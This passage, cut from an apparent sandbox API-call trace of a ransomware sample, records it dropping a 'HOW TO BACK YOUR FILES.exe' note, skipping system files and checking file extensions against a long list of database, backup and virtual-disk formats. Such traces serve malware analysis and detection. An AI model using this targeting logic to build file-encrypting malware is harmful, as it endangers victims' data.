(hMutex=0xec) returned 1 [0151.761] CloseHandle (hObject=0xec) returned 1 [0151.762] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0151.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc18 | out: hHeap=0x4f0000) returned 1 [0151.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned 55 [0151.762] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\260CC13C51FDB9060B52AB14D1C4F5CC") returned 0xec [0151.762] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0151.762] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0151.762] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0151.762] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\how to back your files.exe"), bFailIfExists=1) returned 0 [0151.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0151.764] GetLastError () returned 0x0 [0151.764] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0151.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0151.764] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0151.765] CloseHandle (hObject=0xf4) returned 1 [0151.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0151.765] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0151.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd06a4220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd06a4220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0151.765] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.765] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.765] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0151.765] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd06a4220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd06a4220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.765] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.765] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.765] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0151.766] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0151.766] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="AUTHOR~1.XSL")) returned 1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2=".") returned 1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="..") returned 1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="windows") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="bootmgr") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="temp") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="pagefile.sys") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="boot") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="ids.txt") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="ntuser.dat") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="perflogs") returned -1 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2="MSBuild") returned -1 [0151.766] lstrlenW (lpString="Author2String.XSL") returned 17 [0151.766] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Author2String.XSL" | out: lpString1="Author2String.XSL") returned="Author2String.XSL" [0151.766] lstrlenW (lpString="Author2String.XSL") returned 17 [0151.766] lstrlenW (lpString="Athena865") returned 9 [0151.766] lstrcmpiW (lpString1="tring.XSL", lpString2="Athena865") returned 1 [0151.766] lstrlenW (lpString=".dll") returned 4 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2=".dll") returned 1 [0151.766] lstrlenW (lpString=".lnk") returned 4 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2=".lnk") returned 1 [0151.766] lstrlenW (lpString=".ini") returned 4 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2=".ini") returned 1 [0151.766] lstrlenW (lpString=".sys") returned 4 [0151.766] lstrcmpiW (lpString1="Author2String.XSL", lpString2=".sys") returned 1 [0151.767] lstrlenW (lpString="Author2String.XSL") returned 17 [0151.767] lstrlenW (lpString="bak") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="bak") returned 1 [0151.767] lstrlenW (lpString="ba_") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="ba_") returned 1 [0151.767] lstrlenW (lpString="dbb") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="dbb") returned 1 [0151.767] lstrlenW (lpString="vmdk") returned 4 [0151.767] lstrcmpiW (lpString1=".XSL", lpString2="vmdk") returned -1 [0151.767] lstrlenW (lpString="rar") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="rar") returned 1 [0151.767] lstrlenW (lpString="zip") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="zip") returned -1 [0151.767] lstrlenW (lpString="tgz") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="tgz") returned 1 [0151.767] lstrlenW (lpString="vbox") returned 4 [0151.767] lstrcmpiW (lpString1=".XSL", lpString2="vbox") returned -1 [0151.767] lstrlenW (lpString="vdi") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="vdi") returned 1 [0151.767] lstrlenW (lpString="vhd") returned 3 [0151.767] lstrcmpiW (lpString1="XSL", lpString2="vhd") returned 1 [0151.767] lstrlenW (lpString="vhdx") returned 4 [0151.767] lstrcmpiW (lpString1=".XSL", lpString2="vhdx") returned -1 [0151.767] lstrlenW (lpString="avhd") returned 4 [0151.767] lstrcmpiW (lpString1=".XSL", lpString2="avhd") returned -1 [0151.767] lstrlenW (lpString="db") returned 2 [0151.767] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0151.767] lstrlenW (lpString="db2") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="db2") returned 1 [0151.768] lstrlenW (lpString="db3") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="db3") returned 1 [0151.768] lstrlenW (lpString="dbf") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="dbf") returned 1 [0151.768] lstrlenW (lpString="mdf") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="mdf") returned 1 [0151.768] lstrlenW (lpString="mdb") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="mdb") returned 1 [0151.768] lstrlenW (lpString="sql") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="sql") returned 1 [0151.768] lstrlenW (lpString="sqlite") returned 6 [0151.768] lstrcmpiW (lpString1="ng.XSL", lpString2="sqlite") returned -1 [0151.768] lstrlenW (lpString="sqlite3") returned 7 [0151.768] lstrcmpiW (lpString1="ing.XSL", lpString2="sqlite3") returned -1 [0151.768] lstrlenW (lpString="sqlitedb") returned 8 [0151.768] lstrcmpiW (lpString1="ring.XSL", lpString2="sqlitedb") returned -1 [0151.768] lstrlenW (lpString="xml") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="xml") returned 1 [0151.768] lstrlenW (lpString="$er") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="$er") returned 1 [0151.768] lstrlenW (lpString="4dd") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="4dd") returned 1 [0151.768] lstrlenW (lpString="4dl") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="4dl") returned 1 [0151.768] lstrlenW (lpString="^^^") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="^^^") returned 1 [0151.768] lstrlenW (lpString="abs") returned 3 [0151.768] lstrcmpiW (lpString1="XSL", lpString2="abs") returned 1 [0151.769] lstrlenW (lpString="abx") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="abx") returned 1 [0151.769] lstrlenW (lpString="accdb") returned 5 [0151.769] lstrcmpiW (lpString1="g.XSL", lpString2="accdb") returned 1 [0151.769] lstrlenW (lpString="accdc") returned 5 [0151.769] lstrcmpiW (lpString1="g.XSL", lpString2="accdc") returned 1 [0151.769] lstrlenW (lpString="accde") returned 5 [0151.769] lstrcmpiW (lpString1="g.XSL", lpString2="accde") returned 1 [0151.769] lstrlenW (lpString="accdr") returned 5 [0151.769] lstrcmpiW (lpString1="g.XSL", lpString2="accdr") returned 1 [0151.769] lstrlenW (lpString="accdt") returned 5 [0151.769] lstrcmpiW (lpString1="g.XSL", lpString2="accdt") returned 1 [0151.769] lstrlenW (lpString="accdw") returned 5 [0151.769] lstrcmpiW (lpString1="g.XSL", lpString2="accdw") returned 1 [0151.769] lstrlenW (lpString="accft") returned 5 [0151.769] lstrcmpiW (lpString1="g.XSL", lpString2="accft") returned 1 [0151.769] lstrlenW (lpString="adb") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0151.769] lstrlenW (lpString="adb") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0151.769] lstrlenW (lpString="ade") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="ade") returned 1 [0151.769] lstrlenW (lpString="adf") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="adf") returned 1 [0151.769] lstrlenW (lpString="adn") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="adn") returned 1 [0151.769] lstrlenW (lpString="adp") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="adp") returned 1 [0151.769] lstrlenW (lpString="alf") returned 3 [0151.769] lstrcmpiW (lpString1="XSL", lpString2="alf") returned 1 [0151.769] lstrlenW (lpString="ask") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="ask") returned 1 [0151.770] lstrlenW (lpString="btr") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="btr") returned 1 [0151.770] lstrlenW (lpString="cat") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="cat") returned 1 [0151.770] lstrlenW (lpString="cdb") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="cdb") returned 1 [0151.770] lstrlenW (lpString="ckp") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="ckp") returned 1 [0151.770] lstrlenW (lpString="cma") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="cma") returned 1 [0151.770] lstrlenW (lpString="cpd") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="cpd") returned 1 [0151.770] lstrlenW (lpString="dacpac") returned 6 [0151.770] lstrcmpiW (lpString1="ng.XSL", lpString2="dacpac") returned 1 [0151.770] lstrlenW (lpString="dad") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="dad") returned 1 [0151.770] lstrlenW (lpString="dadiagrams") returned 10 [0151.770] lstrcmpiW (lpString1="String.XSL", lpString2="dadiagrams") returned 1 [0151.770] lstrlenW (lpString="daschema") returned 8 [0151.770] lstrcmpiW (lpString1="ring.XSL", lpString2="daschema") returned 1 [0151.770] lstrlenW (lpString="db-journal") returned 10 [0151.770] lstrcmpiW (lpString1="String.XSL", lpString2="db-journal") returned 1 [0151.770] lstrlenW (lpString="db-shm") returned 6 [0151.770] lstrcmpiW (lpString1="ng.XSL", lpString2="db-shm") returned 1 [0151.770] lstrlenW (lpString="db-wal") returned 6 [0151.770] lstrcmpiW (lpString1="ng.XSL", lpString2="db-wal") returned 1 [0151.770] lstrlenW (lpString="dbc") returned 3 [0151.770] lstrcmpiW (lpString1="XSL", lpString2="dbc") returned 1 [0151.771] lstrlenW (lpString="dbs") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dbs") returned 1 [0151.771] lstrlenW (lpString="dbt") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dbt") returned 1 [0151.771] lstrlenW (lpString="dbv") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dbv") returned 1 [0151.771] lstrlenW (lpString="dbx") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dbx") returned 1 [0151.771] lstrlenW (lpString="dcb") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dcb") returned 1 [0151.771] lstrlenW (lpString="dct") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dct") returned 1 [0151.771] lstrlenW (lpString="dcx") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dcx") returned 1 [0151.771] lstrlenW (lpString="ddl") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="ddl") returned 1 [0151.771] lstrlenW (lpString="dlis") returned 4 [0151.771] lstrcmpiW (lpString1=".XSL", lpString2="dlis") returned -1 [0151.771] lstrlenW (lpString="dp1") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dp1") returned 1 [0151.771] lstrlenW (lpString="dqy") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dqy") returned 1 [0151.771] lstrlenW (lpString="dsk") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dsk") returned 1 [0151.771] lstrlenW (lpString="dsn") returned 3 [0151.771] lstrcmpiW (lpString1="XSL", lpString2="dsn") returned 1 [0151.771] lstrlenW (lpString="dtsx") returned 4 [0151.771] lstrcmpiW (lpString1=".XSL", lpString2="dtsx") returned -1 [0151.771] lstrlenW (lpString="dxl") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="dxl") returned 1 [0151.772] lstrlenW (lpString="eco") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="eco") returned 1 [0151.772] lstrlenW (lpString="ecx") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="ecx") returned 1 [0151.772] lstrlenW (lpString="edb") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="edb") returned 1 [0151.772] lstrlenW (lpString="epim") returned 4 [0151.772] lstrcmpiW (lpString1=".XSL", lpString2="epim") returned -1 [0151.772] lstrlenW (lpString="fcd") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="fcd") returned 1 [0151.772] lstrlenW (lpString="fdb") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="fdb") returned 1 [0151.772] lstrlenW (lpString="fic") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="fic") returned 1 [0151.772] lstrlenW (lpString="flexolibrary") returned 12 [0151.772] lstrcmpiW (lpString1="r2String.XSL", lpString2="flexolibrary") returned 1 [0151.772] lstrlenW (lpString="fm5") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="fm5") returned 1 [0151.772] lstrlenW (lpString="fmp") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="fmp") returned 1 [0151.772] lstrlenW (lpString="fmp12") returned 5 [0151.772] lstrcmpiW (lpString1="g.XSL", lpString2="fmp12") returned 1 [0151.772] lstrlenW (lpString="fmpsl") returned 5 [0151.772] lstrcmpiW (lpString1="g.XSL", lpString2="fmpsl") returned 1 [0151.772] lstrlenW (lpString="fol") returned 3 [0151.772] lstrcmpiW (lpString1="XSL", lpString2="fol") returned 1 [0151.772] lstrlenW (lpString="fp3") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="fp3") returned 1 [0151.773] lstrlenW (lpString="fp4") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="fp4") returned 1 [0151.773] lstrlenW (lpString="fp5") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="fp5") returned 1 [0151.773] lstrlenW (lpString="fp7") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="fp7") returned 1 [0151.773] lstrlenW (lpString="fpt") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="fpt") returned 1 [0151.773] lstrlenW (lpString="frm") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="frm") returned 1 [0151.773] lstrlenW (lpString="gdb") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="gdb") returned 1 [0151.773] lstrlenW (lpString="gdb") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="gdb") returned 1 [0151.773] lstrlenW (lpString="grdb") returned 4 [0151.773] lstrcmpiW (lpString1=".XSL", lpString2="grdb") returned -1 [0151.773] lstrlenW (lpString="gwi") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="gwi") returned 1 [0151.773] lstrlenW (lpString="hdb") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="hdb") returned 1 [0151.773] lstrlenW (lpString="his") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="his") returned 1 [0151.773] lstrlenW (lpString="ib") returned 2 [0151.773] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0151.773] lstrlenW (lpString="idb") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="idb") returned 1 [0151.773] lstrlenW (lpString="ihx") returned 3 [0151.773] lstrcmpiW (lpString1="XSL", lpString2="ihx") returned 1 [0151.774] lstrlenW (lpString="itdb") returned 4 [0151.774] lstrcmpiW (lpString1=".XSL", lpString2="itdb") returned -1 [0151.774] lstrlenW (lpString="itw") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="itw") returned 1 [0151.774] lstrlenW (lpString="jet") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="jet") returned 1 [0151.774] lstrlenW (lpString="jtx") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="jtx") returned 1 [0151.774] lstrlenW (lpString="kdb") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="kdb") returned 1 [0151.774] lstrlenW (lpString="kexi") returned 4 [0151.774] lstrcmpiW (lpString1=".XSL", lpString2="kexi") returned -1 [0151.774] lstrlenW (lpString="kexic") returned 5 [0151.774] lstrcmpiW (lpString1="g.XSL", lpString2="kexic") returned -1 [0151.774] lstrlenW (lpString="kexis") returned 5 [0151.774] lstrcmpiW (lpString1="g.XSL", lpString2="kexis") returned -1 [0151.774] lstrlenW (lpString="lgc") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="lgc") returned 1 [0151.774] lstrlenW (lpString="lwx") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="lwx") returned 1 [0151.774] lstrlenW (lpString="maf") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="maf") returned 1 [0151.774] lstrlenW (lpString="maq") returned 3 [0151.774] lstrcmpiW (lpString1="XSL", lpString2="maq") returned 1 [0151.775] lstrlenW (lpString="mar") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mar") returned 1 [0151.775] lstrlenW (lpString="marshal") returned 7 [0151.775] lstrcmpiW (lpString1="ing.XSL", lpString2="marshal") returned -1 [0151.775] lstrlenW (lpString="mas") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mas") returned 1 [0151.775] lstrlenW (lpString="mav") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mav") returned 1 [0151.775] lstrlenW (lpString="maw") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="maw") returned 1 [0151.775] lstrlenW (lpString="mdbhtml") returned 7 [0151.775] lstrcmpiW (lpString1="ing.XSL", lpString2="mdbhtml") returned -1 [0151.775] lstrlenW (lpString="mdn") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mdn") returned 1 [0151.775] lstrlenW (lpString="mdt") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mdt") returned 1 [0151.775] lstrlenW (lpString="mfd") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mfd") returned 1 [0151.775] lstrlenW (lpString="mpd") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mpd") returned 1 [0151.775] lstrlenW (lpString="mrg") returned 3 [0151.775] lstrcmpiW (lpString1="XSL", lpString2="mrg") returned 1 [0151.776] lstrlenW (lpString="mud") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="mud") returned 1 [0151.776] lstrlenW (lpString="mwb") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="mwb") returned 1 [0151.776] lstrlenW (lpString="myd") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="myd") returned 1 [0151.776] lstrlenW (lpString="ndf") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="ndf") returned 1 [0151.776] lstrlenW (lpString="nnt") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="nnt") returned 1 [0151.776] lstrlenW (lpString="nrmlib") returned 6 [0151.776] lstrcmpiW (lpString1="ng.XSL", lpString2="nrmlib") returned -1 [0151.776] lstrlenW (lpString="ns2") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="ns2") returned 1 [0151.776] lstrlenW (lpString="ns3") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="ns3") returned 1 [0151.776] lstrlenW (lpString="ns4") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="ns4") returned 1 [0151.776] lstrlenW (lpString="nsf") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="nsf") returned 1 [0151.776] lstrlenW (lpString="nv") returned 2 [0151.776] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0151.776] lstrlenW (lpString="nv2") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="nv2") returned 1 [0151.776] lstrlenW (lpString="nwdb") returned 4 [0151.776] lstrcmpiW (lpString1=".XSL", lpString2="nwdb") returned -1 [0151.776] lstrlenW (lpString="nyf") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="nyf") returned 1 [0151.776] lstrlenW (lpString="odb") returned 3 [0151.776] lstrcmpiW (lpString1="XSL", lpString2="odb") returned 1 [0151.777] lstrlenW (lpString="odb") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="odb") returned 1 [0151.777] lstrlenW (lpString="oqy") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="oqy") returned 1 [0151.777] lstrlenW (lpString="ora") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="ora") returned 1 [0151.777] lstrlenW (lpString="orx") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="orx") returned 1 [0151.777] lstrlenW (lpString="owc") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="owc") returned 1 [0151.777] lstrlenW (lpString="p96") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="p96") returned 1 [0151.777] lstrlenW (lpString="p97") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="p97") returned 1 [0151.777] lstrlenW (lpString="pan") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="pan") returned 1 [0151.777] lstrlenW (lpString="pdb") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="pdb") returned 1 [0151.777] lstrlenW (lpString="pdm") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="pdm") returned 1 [0151.777] lstrlenW (lpString="pnz") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="pnz") returned 1 [0151.777] lstrlenW (lpString="qry") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="qry") returned 1 [0151.777] lstrlenW (lpString="qvd") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="qvd") returned 1 [0151.777] lstrlenW (lpString="rbf") returned 3 [0151.777] lstrcmpiW (lpString1="XSL", lpString2="rbf") returned 1 [0151.777] lstrlenW (lpString="rctd") returned 4 [0151.778] lstrcmpiW (lpString1=".XSL", lpString2="rctd") returned -1 [0151.778] lstrlenW (lpString="rod") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="rod") returned 1 [0151.778] lstrlenW (lpString="rodx") returned 4 [0151.778] lstrcmpiW (lpString1=".XSL", lpString2="rodx") returned -1 [0151.778] lstrlenW (lpString="rpd") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="rpd") returned 1 [0151.778] lstrlenW (lpString="rsd") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="rsd") returned 1 [0151.778] lstrlenW (lpString="sas7bdat") returned 8 [0151.778] lstrcmpiW (lpString1="ring.XSL", lpString2="sas7bdat") returned -1 [0151.778] lstrlenW (lpString="sbf") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="sbf") returned 1 [0151.778] lstrlenW (lpString="scx") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="scx") returned 1 [0151.778] lstrlenW (lpString="sdb") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="sdb") returned 1 [0151.778] lstrlenW (lpString="sdc") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="sdc") returned 1 [0151.778] lstrlenW (lpString="sdf") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="sdf") returned 1 [0151.778] lstrlenW (lpString="sis") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="sis") returned 1 [0151.778] lstrlenW (lpString="spq") returned 3 [0151.778] lstrcmpiW (lpString1="XSL", lpString2="spq") returned 1 [0151.778] lstrlenW (lpString="te") returned 2 [0151.778] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0151.778] lstrlenW (lpString="teacher") returned 7 [0151.778] lstrcmpiW (lpString1="ing.XSL", lpString2="teacher") returned -1 [0151.779] lstrlenW (lpString="tmd") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="tmd") returned 1 [0151.779] lstrlenW (lpString="tps") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="tps") returned 1 [0151.779] lstrlenW (lpString="trc") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="trc") returned 1 [0151.779] lstrlenW (lpString="trc") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="trc") returned 1 [0151.779] lstrlenW (lpString="trm") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="trm") returned 1 